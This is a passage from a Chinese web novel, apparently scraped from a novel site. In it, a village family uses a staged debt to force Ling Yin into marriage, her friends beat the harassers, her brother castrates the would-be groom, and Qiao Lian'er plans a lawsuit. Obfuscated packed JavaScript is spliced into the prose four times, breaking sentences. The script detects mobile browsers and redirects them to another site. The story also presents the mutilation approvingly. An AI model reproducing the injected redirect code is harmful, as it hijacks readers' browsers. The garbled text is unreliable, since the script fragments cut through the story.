猥琐流氓三人组 看到这几个人,凌音脸上有些不自然,凌晓的眉头也皱了起来。 “放心吧,史二叔,我们家里人都在努力赚钱,不会不还你们的。” 那个年轻的看起来二十三四岁左右,长脸三白眼,面中凹陷进去,像个鞋把子,样子显得傻不拉叽的。 他摸着下巴,瞅着凌音看,目光一刻都舍不得从她脸上挪开。 好像在看一个自己的所有物一样。 凌音抿了抿嘴角,撇开了脸。 “五十两呢,就光你们卖这点白菜,就你爹做那点手工活,就说三个月,怕是三年都还不起。”刚才说话的史老二,他几乎是认定了那个事实:“到时候,你们家还不是乖乖地接受这个赔偿条件。” “不可能的,我们家一定会凑够钱,就算卖不够也要凑够。”凌音很坚定地说。 “对,我们家一定能凑够钱,不可能让你们得逞的。”凌晓小小的一个,仰着头,气势很足。 另一个胖点的男人是史老三,手上盘着一串珠子,天生就长着一张阴阳怪气的脸:“哟嗬,你这臭小子,毛都还没有长全呢,不知道大人赚钱有多难,就大放厥词,谁敢借那么多钱给你们,你们要还到啥时候啊。” “现在你们家的那些亲戚都躲着你们,就好像你们是瘟疫一样,对你们避之不及,可不是防着你们借钱?” “我看到时候啊,你们家亲戚都要赶紧把门关上,与其到时候你们满村里丢脸,还不如就答应下来,省得那么多麻烦。” 史老二粗嘎的语气似乎很爽快:“就当是我们家花了五十两娶你过门,这十里八村,有哪个姑娘像你的彩礼这么多,说出去也是长脸了。” “我是不可能答应的,我家里人也不可能答应。”凌音一个字一个字地说。 “史二叔史三叔,时间还没有到,我们家里还在筹钱,希望这些话你们不要再说了,我相信天无绝人之路。” 凌音的脸色已经青了。 她甚至怀疑这几个人出现在这里,是奔着说服她来的。 见她决然如此,这三人的脸变了变,就连那个傻子,也是扭捏着身子跺了跺脚。 “哼,爹,音丫头不愿嫁给我,坏坏。” “丫头,你不要敬酒不吃吃罚酒,你快点头答应下来,两家把亲事办了,我们家心落了,你们家也不用那么辛苦,二叔家家境不差,有哪里亏欠你的,你真乡哥傻是傻了一点,但傻人有傻福,你跟着他这辈子都不会吃亏。”史老二一脸严肃地说。 史真乡一听,赶紧对着凌音点头:“是,是,音丫头快答应,我要和音丫头成亲,我要和音丫头生孩子。” 说到生孩子三个字,他换了一副猥琐的笑容,嘿嘿的,嘴角边流下了口水。 凌音差点吐了出来。 凌晓也是气得想打人,被凌音给拉住了。 她也想好好收拾这三个人,可他们哪里是人家的对手? 肚子里翻江倒海,凌音的脸成了猪肝色。 她现在急于离开这里,赶紧摆脱这三个人,家里还有爹娘,还有叔叔伯伯们,大家是怕他们家借钱,但也不会看着外人这样嚣张。 听到有马车驶来的声音,抬头一看,就看到了乔镰儿。 凌音仿佛看到了救星,眼睛亮了,对着乔镰儿招手。 一边拉着弟弟来到路边。 那三个人跟了上来,他们也是要去县城买东西,同时说教一下凌音,就多来了两个人。 刚才看到他们似乎在争论,乔镰儿放慢了马车,竖起耳朵,把他们说的内容听到了耳朵里。 得到几个关键信息,凌音家欠钱了,欠了五十两。 这一笔钱,在村里可是巨款啊。 她心里面琢磨,以凌音家里人的秉性,不可能会跟人借这么多钱,难道这其中有什么缘故? 而且看这几个人,绝不像什么好人。 乔镰儿将马车停了下来,用眼神示意姐弟俩赶紧上来。 两个人几乎是奔到了马车里。 那三个男人也要跟上来,乔镰儿一甩缰绳,马车远去了。 “喂,小丫头我们也要去县城,我们还没有上马车呢。”史老三愣住了,手上的珠子也不盘了。 “噢,你们等下一辆吧。”乔镰儿清凉的声音传来。 “哟嗬,这,还不载我们呢,这是跟我们啥仇啥怨?”史老三想不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14615497|156148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明白:“二哥,咱们认识这丫头吗?” 谁会放着车钱不赚的。 “不认识,就两个女娃子去县城,可能不放心男人上车吧。”史老二没有多想。 他关心的,是凌音和史真乡的亲事,能不能如预期。 这个丫头不是多么好看,但是样貌端正,又一身干活的力气,而且很利落,娶进家门来就是一把好手,史真乡是一个傻子,有这样的老婆,能够给他分担不少辛苦。 所以,史老二就认定这个儿媳妇了。 而且,谁叫凌老三不长眼睛,惹出了这种祸事呢? 他这是撞到蛛网上了。 不过,这丫头脾气有点犟,等进门来了,得好好训一训。 就像一头母狼,拔掉她的牙齿。 “爹,我 要娶音丫头,我要娶音丫头嘛。”史真乡跺着脚,嘟着嘴巴。 不说外人了,就连他爹都有点难以直视他。 微微偏开了脸:“放心,这个数目他们家不可能凑够,到时候,还不得乖乖地把音丫头嫁给你。” “我要和音丫头生孩子,我要和音丫头生孩子。” 史真乡高兴得原地转圈圈。 坐在马车上,凌音的心情好久都平静不下来,不仅仅是史家的人恶心,刚才史家人说的那些话,乔镰儿姐妹俩一定听到了。 她现在如坐针毡,浑身都是不安。 不过,乔镰儿一路都没有问,一直把姐弟俩送到了西街瓦市。 姐弟一人背着一个大坛子,还抱着拆下来的木摊子。 “谢谢你了镰儿妹妹,好在遇到你们。” 凌音要给钱,乔镰儿把她的手推了回去:“顺便搭你们一程而已,你要是给我钱,我真成了赶马车的了。” 本来是一句玩笑话,凌音却笑不出来。 “镰儿妹妹,刚才——” “我什么都没有看到,我也不会跟家里人说,你的事情你解决好。” 乔镰儿听到,把钱凑够了,就可以摆脱那家人,这个需要凌音自己的努力。 她也是无法想象,凌音嫁给那个傻男人,这样的话,一辈子全毁了。 第219章 嚣张破坏生意 凌音一颗心放了下来,她是真的很担心,担心乔家人因为这件事对她有什么看法,她都不敢去想,大用知道后会是什么样的心情。 “谢谢你,镰儿妹妹,我们家里的确有这个麻烦,但是我们会解决好。” 原本家里是六神无主的,以为只能等着那个结果的到来,可是后来乔镰儿教她辣白菜的方子,让他们家看到了希望。 今天秋氏之所以没有来,是到更远的镇子去卖辣白菜了。 乔镰儿和乔吱吱跟姐弟俩一起,把木摊子给搭好。 “镰儿,你们在家里都还好吧。” 乔镰儿知道凌音想问什么:“都好着呢,我大堂哥出去干活了,要过一久才回来。” “呀,去哪里干活了。” “离这里有点远,但再过五六天就回家了。” “嗯,那不止他一个吧。” “是呢,家里去了好几个人。” “希望他们都平平安安的。” 乔镰儿有点想笑,绕来绕去,凌音不过是为了给大用哥一声祝福。 已经有些客人来这里等了,带着碗,带着油纸,坛子一摆到货架子上,他们赶紧围了上来。 “我要两个辣白菜。” “给我来八个。” “我要三个。” 姐弟俩忙活起来,凌音的脸上又见了笑容,和以前见到的一模一样,可经过了刚才的事情,乔镰儿才发现了区别。 这种笑容,好像是带着摆脱什么的希望,而不是过上好日子的期盼。 乔镰儿有点心疼。 但是她也清楚,有的事情凌音不主动说,她也不好去问,被她看到,已经让凌音不安了。 “凌音姐姐,我们也要去买东西了,你们在这里忙着。” “哎,成,你们啥时候回去。” “用不了多久,要回去的时候,我们来捎带你们一程。” 现在不摆摊子了,去蔡老板那里走一趟就是。 而且辣白菜也卖得快,能一起走。 凌音一般不麻烦人,她是有点担心,因为史家有三个人来到了县城,万一他们要挤着跟她姐弟俩一辆马车,少不得又是一番逼迫催促。 而乔镰儿是不会让这三个人上马车的。 也不知道为什么,明明等着他们家还钱,可看到他们家赚钱了,本来气定神闲的史家,却显得着急起来。 “原来你们姐弟俩在这里摆摊啊,生意还怪好的,难怪这么有自信还钱。” 乔镰儿刚刚赶着马车离开,就听到后面传来这么一道粗噶的声音。 好好做做生意,这三个人又来到面前,凌音姐弟的脸色唰地一下子黑了。 “我们在做生意呢,你们不要来打搅我们。”凌晓上前一步,怒目而视:“请不要来影响我们的客人。” “哪里打搅你们了,你们卖,我们在一边看,又不是不允许你们做买卖是不是。”史老三盘着珠串,一边笑嘿嘿说。 那个史真乡也是盯着凌音的脸,嘴角边流下一缕口水,像是恨不得扑过去一样。 活了二十四岁没有媳妇,可真的把他给憋坏了。 史老二长得像黑熊一样,史老三又是一副笑面虎的样子,史真乡的形象更是不堪目睹。 这三个人往摊前一站,那些客人都不敢靠近,想买的也赶紧说不买,拿着碗提着篮子,匆匆走了。 “哎,那个大娘你别走呀,你要的六颗白菜,这就给你拿。” “那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14615498|156148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个大叔,你说要十二颗,也都有的。” 凌音看到客人都走了,急得眼眶都红了。 凌晓赶紧跑去拉客人,可是客人把他的手甩开。 “求求你们不要走,我家里需要钱。”凌音强忍着泪水。 瓦市上人来人往的,她不想哭鼻子,可她真的好难过。 看到这样的一幕,史老三更是笑得张扬放肆,全身的肉都抖了起来。 史老二脸上也露出了一点笑意。 史真乡转着脑袋,傻不愣登地看着他爹和他三叔,又看看凌音。 “你们实在太过分了,怎么说也是一个村子里的,你们怎么可以这样没有良心,欺人太甚。”凌音气愤不已,现在她想撕了这三个人。 可是她也知道,他们姐弟俩根本就打不过三个壮年男人。 别看史真乡只是一个傻子,他的力气可不小。 “哪里没有良心了,你这丫头可不能乱讲,我们这是在帮你助阵,帮你招揽客人呢。” 笑面虎脸色一板,对经过的路人招手:“来来来,快来买这丫头卖的辣白菜,味道可好吃了,保证你们吃了上吐下泻,都不用花心思减肥了。” 那些客人一听,再往摊前几个男人脸上一看,知道一个个都不是善类,赶紧加快了脚步。 “求求你们了,不要这样啊,我们家从来没有得罪你们,你们为什么要这样心狠。”凌音的泪水再也忍不住,啪嗒啪嗒地掉落。 这些人不仅仅是为了让他们今天的生意不好做,也要毁掉她家辣白菜的口碑,让他们以后都做不了这个买卖。 简直是要断他们家的生路。 小主,这个章节后面还有哦,请点 击下一页继续阅读,后面更精彩! 第220章 直接骟了,看你咋娶 阿大他们没有正面过去,这史老二和史老三看起来就不是好相与的,他们从后头绕。 “哭什么哭,哭什么哭,直接干脆一点嫁给我的儿子不就得了,我儿子样貌人品哪里差,就只是头脑不太灵光而已,等你嫁进来了有你照顾,还有啥影响。”史老二皱着眉头,不耐烦地说。 凌晓又冲了上来,史老三按着他的头,笑着:“丫头啊,要是你今天不点这个头,以后你们来卖一次,我们就来助阵一次,看看谁还会跟你们买辣白菜。” “以为得了一个好一点的营生,就可以还这笔钱,撇清和史家的关系了,你们想得到美,你注定要嫁给我的侄子。” 凌音抽泣着,红通通的眼里都是愤怒:“你们不是想着让我们还这笔钱吗?怎么我们在赚钱了,你们又来阻止。” 史老二:“哪里阻止了,这是为了你们好,反正你们辛辛苦苦折腾也还不上,还不如快一点结了这一门好——” 话还没有说完,就感到眼前人影一闪,好像半空飘起了无数红粉,朝着自己飞来。 史老二猝不及防吸进了口鼻,又被迷糊了眼睛。 “啊,咳咳咳,呛呛呛,眼睛,我的眼睛。” 他捂着双眼惨叫起来,不小心绊倒一个石墩子又摔倒在地上,拼命揉着眼睛滚来滚去。 史老三赶紧去看情况,他的面前也是人影一闪,一大把红粉直接撒到了他的眼睛里。 “嗷嗷嗷,痛死了,这是什么东西,要痛死人了。” 又被踢了一下膝盖弯,史老三也摔在了地上。 接着是傻乎乎的史真乡。 三个人在地上滚来滚去,都是捂着眼睛,惨叫着,咳嗽着,生不如死,比死了还痛苦。 然后,阿大他们蜂拥而上,一阵拳打脚踢。 “当街欺压好人家的姑娘是吧,欺负还没有长大的孩子是吧,看小爷不打死你们。” “我们就爱吃他们姐弟卖的辣白菜,你们想来败坏口碑,没用。” “几个大男人了,做这种事情,也不知道丢人现眼,呸,给我再使劲一点,把他们打得十天半个月下不了床。” 凌音姐弟俩呆若木鸡,他们没想到,转眼间事情就变成这个样子。 看着史家人被打成孙子了,心里面真爽。 乔镰儿和乔吱吱也拿着棍子大砍刀过来了,乔镰儿给姐弟俩一人递了根棍子,低声说。 “凌音姐,你们还愣着做什么。” 然后,又示意他们不要出声。 凌音一下子明白过来了,接过棍子,就朝三个人身上招呼。 她用尽了全身力气,每一下都发泄着心中的愤恨,打得三人嗷嗷叫。 凌晓没有要棍子,他接过了那把大砍刀,但是也有分寸,没有用刀刃砍,而用刀背。 刚才他觉得保护不了姐姐,心中很是愧疚,现在,他终于可以好好出这一口气了。 刀背砸在三人的头上,三人的脑袋嗡嗡的疼,几次差点晕厥过去。 他们骂骂咧咧,骂得很难听,可是越骂,被打得越惨。 他们又开始求饶,可是求饶没用。 史真乡的脑门破了,鲜血汩汩,更加迷糊了他的眼睛。 乔镰儿及时拉住了凌晓,要真出了人命,那可是要吃官司的。 像这种来捣乱生意的恶霸,打一顿没事,就算官府来了,也不会站在他们那一边。 但出人命,就是另一码事了。 像阿大他们,都没有照着头打,好在凌晓年纪小力气小,不然可能已经有人丧命了。 凌晓觉得心中的气氛没有完全发泄,他盯着史真乡,不是想要娶她姐姐吗?那就让他娶不了。 “镰儿姐姐,我知道杀人偿命,我不要他们的命,但我要做一件事情。” 乔镰儿看凌晓看的地方,明白了他的意思。 史家的这个傻儿子,这种样子还想要娶老婆,祸害好姑娘。 这不是该被大自然淘汰的物种吗?优胜劣汰都摆到面前来了,史家还想垂死挣扎,用这种威逼的手段,给他坑亲事。 所以,她这也算是做好事吧。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14615499|156148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 就放开了凌晓。 凌晓一步步朝着史真乡走过去,手上的砍柴刀翻转过来,露出了刀刃的一面。 然后他蹲下来,举起了砍柴刀,手起刀落,帮助史真乡完成了人生的重大转折。 一声凄厉的惨叫,从街头传到街尾,史真乡眼皮一翻,直撅撅晕倒了过去。 看这些人被打得差不多了,孩子们一哄而散,把那些棍子和砍柴刀都收走。 “凌音姐,你们要装作什么都不知道,记住了。”乔镰儿郑重交代。 凌音知道这其中的轻重,点头:“放心,我会做好善后的。” 然后乔镰儿也赶着马车离开了,她没有走远,而是到了附近的一条巷子里观察情况,免得这几个人又要对姐弟俩不利。 终于有路人给这史家几人泼了水,让他们从被辣椒折磨的痛苦中解脱出来,终于能够看清楚一点周围。 “谁,是谁打的老子?”史老二要气死了,从小到大都是他欺负别人,还从来没有谁敢欺负他。 要 知道是谁,他非要亲手把那人撕碎。 史老三看清楚环境的第一件事,就是趴在地上找他的珠子,却发现珠子早就被扯碎了,七零八落地掉在地上。 “这个是我跟人买来的老古董啊,这些杂种。”史老三本来就惨兮兮的脸上,欲哭无泪。 他们下意识看向了姐弟俩,发现姐弟俩坐在不远处,直愣愣地看着他们,好像被吓傻了。 “谁,是谁来打我们看清楚了没有。”史老二踉踉跄跄站起来,质问姐弟俩。 凌音和凌晓一脸懵地摇头。 “你们怎么可能会没有看到,不会你们也参与了吧。”史老二虽然粗蛮,却是个疑心病重的。 他看得出来姐弟俩恨死他了,怕是会趁着这个机会动手。 他又问街上那些人:“他们姐弟俩有没有参与打人。” 凌音顿时有点紧张,他们打人,街上的人肯定是看到的,如果把他们抖出来,只怕史家今天就抄起家伙去他们凌家喊打喊杀。 第221章 真相原委:被下套了? 凌晓抓住了姐姐的袖口,刚才他打人打上头了,根本就没有考虑过后果。 史家绝对是不好惹的,五个兄弟,每个都是狠角色。 本来想趁着混乱,混在那几个孩子里面打人,可是忘了,街上有这么多人。 要是被指认,不敢想象,他们凌家会是什么下场? 这时候,一个身形粗胖的大婶开口:“跟他们两个没关系,你看两个孩子都吓傻了,都不知道你在问啥。” “谁叫你们到大街上恃强凌弱,被人看不惯收拾了呗,人家好好地卖辣白菜,你们来摔人家坛子,什么愁什么怨。”一个大叔抱着手臂笑。 看到姐弟俩这个样子,每个人都生出了恻隐之心。 “我说,你们还是看看他,还有没有救。” 史老二听不太明白,当他循着街上人的目光,往史真乡身上一看。 他的眼睛一下子瞪大了。 史真乡倒在地上,腰部以下的位置都是血,好像裤子布料还被划开了,血乎乎的。 史老二不敢相信地走过去,检查了一下,差点没晕过去。 “天啦,这可是我们史老二家传宗接代的希望啊。”仿佛惊雷当头劈下,史老二一下子嚎啕起来,一屁股跌坐在地上,一张脸变得煞白如纸。 史老三也是惊呆了,那些人竟然胆大至此,打人就算了,还要让人断子绝孙。 “二哥,咱们赶紧把真乡送去医馆子吧。” 毁了,但是没有完全毁,也不知道能不能治好。 兄弟俩手忙脚乱把人扶走。 围观的人都摇头,都说是没什么希望了。 “本来就傻,还要后代做什么?生小傻子吗?” “就是,你别看他傻,也知道来欺负这一对姐弟,心眼子坏着呢。” “活该,不值得同情。” 这些街上的人来给两姐弟收拾摊子。 “姑娘,别难过,这个坛子没有完全碎,里面辣白菜都好好的呢,我们一人买几颗全买了。” 说着,大家把辣白菜夹到碗里,装到油纸里,一边把钱放在摊子上。 “谢谢,谢谢大家。”凌音感动得喉咙哽咽。 “唉,这几个人实在是有点吓人,他们前面就是故意要赶客,大家多一事不如少一事,也不好跟你们买辣白菜。” “现在他们被收拾了,大快人心,这样的街霸要是不给点教训,怕还要去扰乱别人的摊子。” “咱们这些穷老百姓,租不起热闹大街的摊子,只能到西街瓦市来卖东西,还要被人来捣乱,谁都看不过去。” 乔镰儿看着这样的情形,心中也是一阵动容。 这就是朴实的人世间温情。 大家固然不敢得罪那些恶霸,但是力所能及的时候,也会帮一把。 而且,先保全自己,在自己力所能及范围内帮助别人,她是很认同的。 她赶着马车重新过来。 破坛子里面的辣白菜都被买完了,凌音抓起那些铜板数了一下。 才发现收到的钱,比两个坛子里辣白菜能够卖到的还要多。 她赶紧站起身来,想要辨认出刚才在这里买辣白菜的那些人的身影,可是大家都已经走远了,也不知道谁到底付了多少。 这是大家在照顾他们姐弟俩呢,想想史家人咄咄相逼,想想乔家人的好,想想街上这些陌生人的温暖。 凌音心中五味杂陈。 “凌音姐。”乔镰儿走到她身边说:“本来我想着是你们的家事,就算听到一些啥也当做没听到,可是看到史家人这个样子,我想他们家后面也是要继续缠着你们的,你愿意把事情告诉我吗?” 凌音叹了一口气。 她都被乔镰儿看到这样落魄的样子了,告诉她听又有什么? 她坐在小凳子上,望着半空。 “我爹是个木匠,两个月前,史老二家的神龛坏了,让我爹去给他家修。” “我爹修着的时候,没有注意到史老二把一样瓷器放在神龛上,他合卯榫的动静,让瓷器摔落下来,摔坏了。” “史家人说,这个瓷器是个古董,跟高人那里求来的,开过光,用来镇宅求财,最少值五十两银子。” “我们家哪里有这么多的钱啊,史家人就要求,五个月之内还不上,就要我嫁给史真乡。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14615500|156148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “现在还剩下三个月,家里可以挣钱了,没想到他们却来捣乱。” 乔镰儿道:“既然是价值五十两的瓷器,神龛有人在动工,还偏要放上去,故意的吧。” “谁知道呢,不管怎么样,的确是我爹碰落下来的,责任在他的身上。” “还有,我想问一下,史家条件怎么样?” 凌音点头:“史家家里条件不错。” “史真乡看起来二十三,二十四岁了,这个岁数还没有成亲的少见,是不是因为他傻,所以不管出多少彩礼,都很难娶到老婆。” “嗯,史家已经出到三十两银子的彩礼了,还是没有哪一户人家愿意把女儿嫁给他们家,谁会和傻子过一辈子呢。” 就算是再穷,再贫困的父母,只要还有那么一点点人性,都干不出来这种事情。 乔镰儿肯定了自己的猜测:“我知道了,他们不想要钱,要的是人,因为不管出多少的彩礼,都没有人愿意嫁给史真乡,他们家就抓着你爹的这个错处,想着吃定你家。” “我相信,凑够了五十两,他们还说要八十两,要一百两。” 凌音的心头一紧,一时间六神无主,想一想,这的确是史家能够做得出来的事情。 “史真乡已经废了,还要娶啥媳妇。”凌晓气哼哼说。 他以为,他废掉了史真乡,史家就不会想要这一门亲事了 乔镰儿摇头:“就算是废了,也要娶一个媳妇去打理家里,装点门面,去安抚史真乡,为了面子,他们可能还会把不能有孩子怪在媳妇的身上,到时候一家子想怎么打你骂你都可以。” 凌音听得毛骨悚然,她感到手脚都在发凉。 “怎么办?我要怎么办。” “我不想嫁进去史家,我不想和他们有一丝一毫的关系。” “那个瓷器,未必值得了这么多钱,真要这么值钱的话,他们是舍不得打碎的,这是在故意给你爹下套呢。” 乔镰儿上辈子活了二十七岁,什么人是什么样的秉性,她还是能有个基本的判断。 就刚才看到那几个史家人,绝不可能这样大方,真拿一个值钱的瓷器来碰瓷。 第222章 你们得去告官 凌音咬着嘴唇,攥紧了手指,骨节都在发白。 是的,史家有意为之,他们家能猜到。 可是下套之后,不让他们摆脱,死死咬定他们,实在是太可怕了。 还可能是用根本不值钱的东西下套,哪怕他们辛辛苦苦达到史家的要求,他们也会层层加码。 所以他们家做什么都是徒劳的,有一个深渊巨口在前方等着她,要一口把她吞噬。 “这史家人可真狠毒,简直不是人,见所未见,闻所未闻。” 乔镰儿却是不觉得稀罕,在她来的那个世界,在农村,山沟沟里的百姓对传宗接代很是看重,甚至娶不到老婆,要靠拐卖,靠囚禁,何况是这种民风还没有开化的古时候。 史真乡那样的人,给再多的彩礼,姑娘家都敬而远之,所以就用这种下作的招数。 现在又不是灾荒年,就算地里收成不好,山上也有野菜有果子,不到走投无路的绝境,就连那种最有可能会卖女儿的人家,也不可能把女儿嫁到史家去。 因为这是一件很丢脸很耻辱的事情,要被别人戳着脊梁骨嘲笑。 乔镰儿拿起凌音的手握着,发现她的手冰冷得厉害。 “镰儿妹妹,我知道你是个有主意的,你快告诉我们应该怎么做。”凌晓着急地说。 “我都听你的。” 史家人都做到这一份上了,把凌音逼得退无可退,乔镰儿当然要救。 就把姐弟俩带到了一家比较僻静的茶馆。 现在乔镰儿还是要避着史家人一点的,免得史家人回来看到她。 不是她怕史家人,是不想让史家人觉得,凌家找了帮手,不然,只怕会进一步为难凌家。 乔镰儿叫了一壶碧螺春:“凌音姐,先喝杯茶暖暖身子。” 凌音也觉得身上冷得厉害,喝了一杯热茶,才觉得好受了些。 她的双手还捂着杯子,神情愣愣的,有些惊魂未定。 遇到这种事情,这个十五六岁的丫头,是真的吓坏了。 就好像一座看不见的大山压在她的身上。 乔镰儿是能够理解的,在她来的那个世界,这个年纪也才上初三高一呢,真的还就是个小孩。 凌音好好地缓了缓,尽量让自己清醒平静过来。 至少现在,知道了史家的真正目的,而不是被蒙在鼓里。 至少现在,可以针对这件事找应对之策,而不是完全没有知觉地朝着深渊走去,直到再也无法挽回。 她应该感到庆幸。 凌音深吸了一口气,她的双眼清明了许多,人也多了几分镇定,而不是那种惶惑无助的状态。 “镰儿妹妹,你说吧。” 乔镰儿有点佩服她回神之快,果然不愧是抬过尸体的姐姐。 “凌音姐,那个摔碎的瓷器,史家还放着吗?” “嗯,放着的,这是我爹的罪证,史老二家就装在一个盒子里,摆在神龛上呢,谁去他们家都可以看到,史老二逢人就跟人说一道,是我爹砸碎的瓷器。” “久而久之,好些人就觉得,我爹为什么这样不当心,摔碎了人家这么贵重的东西,这下子说不清楚了,是我爹活该。” “再加上这个赔偿数目很大,所以就有不少村里人疏远我们家,生怕被麻烦缠上。” 包括凌家的那些宗亲。 “这个好办。”乔镰儿心中已经有数。 两姐弟都满怀期待看着她。 “你们得去告官。” 凌音:“告官?” “对,告官,告史家想要栽赃陷害你们,以此威逼良家女子为妻。” “官府对这种事情深恶痛绝,一向罚得很重,不会坐视不管。” 凌音点头,等着她说下去。 “但是你们要直接去跟史家说走官府,史家肯定不同意,还会把证据藏匿起来,甚至损毁掉,然后空口白牙说一个价,到时候反而讲不清楚,而村里人大部分都看过那个碎瓷器,大家都会无意帮史家作证,说你爹的确摔碎了东西。” 凌音想想也是:“他们不去官府,这还怎么告他们呢。” “如果你们凌家族亲信得过,不妨先联合起来,买些好肉好酒招待他们,说出其中的原委,让他们站在你们家这一边。” “大伯三伯四叔他们是不错的,原本大家也处得还算融洽,就是五十两银子太多了,分开一家一家借,一家也要借十几两,他们怕也是情有可原的,所以才对我们家疏远,又怪我爹不长眼睛,如果我爹小心一点,大家就不会这样尴尬。” 天下熙熙,皆为利往,亲戚也不例外,但是亲戚之间,是有那一份血缘的维系在的。 那些亲戚,因为怕借太多银子,离凌老三家远远的,如果知道凌老三家被陷害,被这样算计,但凡原先有些感情,有几分亲戚的面子,都不会坐视不管。 凌老三家再做一点表示,拉拢一下人心,就可以进行下一步了。 “然后呢,然后呢。”凌晓催促。 “然后,你们就冲进去史家,把神龛上的那个盒子抱走,抢到官府来,说是史家栽赃你们的罪证,要衙门给一个公道。” “官府传唤,史家不敢不到。” “为了证明瓷器的价值,官府会请专门的人来勘验,真要值五十两银子,要么出自名家之手,要么至少有两三百年的历史,背后还会有些典故渊源。” “我相信,瓷器九成九成是假的,但万一真的值点钱,鉴定人会鉴定出价值多少,你们造价赔偿就是了,如果史家还想拿亲事来纠缠,你们就说史真香已经被人废了,这辈子不能人道,史家不承认,官府会让人检查,到时候,丢的是史家人的脸,只怕整个县城还有凌家村附近的十里八村都要传遍,史家沦为笑柄。” 乔镰儿说的这些,可不是她凭空瞎猜想,根据人性,以及史家的基本诉求,可以判断出这件事情的大概走向。 姐弟俩听着,只觉得心中有一股意气澎湃。 那是一种大杀四方,最终把史家按在地上摩擦的感觉。 他们迫不及待希望,这是真的,这会成真。 “这个要交给你们自己去做,一步一步,都不能出错。” 凌音眼底坚决。 是的,这件事只能成,不能输。 第223章 先把舆论造起来 “凌音姐,冒昧问一句,你们手上有多少银子。”乔镰儿道。 凌音算了算:“家里面原本有三两,辣白菜卖了十天,每天大概有六百文,现在有九两。” “完全够了,这些天,就好好招待你们家的那些亲戚吧,凝聚力越强越好,团结就是力量。” 凌家村,不是史家村,凌家直系亲属,旁系,宗亲,这些有祖上关系加起来的,还不知道多少人。 而且秋氏说过,凌家村姓凌的人家就有一半之上,多少会同气连枝。 凌音是能打赢这一场仗的,当然前面要做好功夫,这就要看凌老三家的努力了。 “还有凌音姐,外姓人敢这样对凌老三家的姑娘,说不定就是看不起凌家人,如果这一次你们认栽了,肯定还会有别的凌家姑娘被人惦记,被人这样轻贱算计。”wWW.xszWω㈧.йêt “别人怎么看你们凌家姑娘,怎么看你们凌家人,就盯着这一次呢。” 凌音明白过来了,乔镰儿是让她给凌家族亲营造那种荣辱相关的感觉。 这些话,这些做法,实在是太老道了,像是有几十年经验的人说出来的,她有点不敢相信地看着乔镰儿。 坐在面前的,仍然只是一个小小的女娃子,如果不知道她的实际年龄,会以为她只有八岁左右。 凌音的心中,只剩下满满的佩服。 “先是离得近的亲戚,不然你们招待不过来,然后由亲戚带动宗亲,族亲。”乔镰儿喝了一口茶,又补充一句。 凌音明白。 “镰儿,你帮我这个大忙,还不知道该怎么感谢你才好。” “帮成了再说吧,主要还是靠你们自己,我只是出个主意。” “而且——”乔镰儿一笑:“要是知道你陷入这样的困境,我大用哥不担心得要死啊,他现在在外头,我就先给他把这个麻烦解决了呗。” 凌音的脸微微发烫,她鼓起勇气问了一句:“那,你们家里人喜欢我吗?” “喜欢,老的大的小的全都中意你,欢迎你,等到这件事情解决了,你的身上没有啥纷扰,我们家房子也盖起来,就可以做进一步的安排了。” 凌音知道进一步的安排指的是什么,跨过这一道大坎,她就可以过上安静幸福的日子了吧。 她的手指扣紧了掌心,她一定要实现心中所愿,为此竭尽全力。 姐弟俩马上行动,去买肉买酒,乔镰儿赶着马车去玖味楼。 土豆番茄各准备了七百斤,还有三百斤花生,三百斤玉米。 今天,就卖这些了。 马车从街上经过,能看到一些身着差服的人从茶楼酒肆,馆子店铺进出,手上拿着登记的笔和纸。 而那些老板掌柜的,以为只是做寻常的调访登记,都没有什么反应。 全然不知道,危机在一点点地向他们降临。 快要到最热闹的中心地带的时候,乔镰儿将马车赶进巷子,然后来到了玖味楼的后门处。 后门也是一大扇,方便马车经过。 这里有门人在守着,看到乔镰儿来了,忙跑去通知蔡老板。 蔡老板快步走出来,脸上带着喜色:“今天最后几十斤土豆和番茄也卖光了,我还琢磨着,乔姑娘你什么时候来呢。” “要是今天不见你的人,这些食材就要断供了。” “我至少五天会来一次,这段时间都是这样的。”乔镰儿放低了声音:“蔡老板准备得怎么样了?” 蔡老板让人称着食材,然后把她带到一边去。 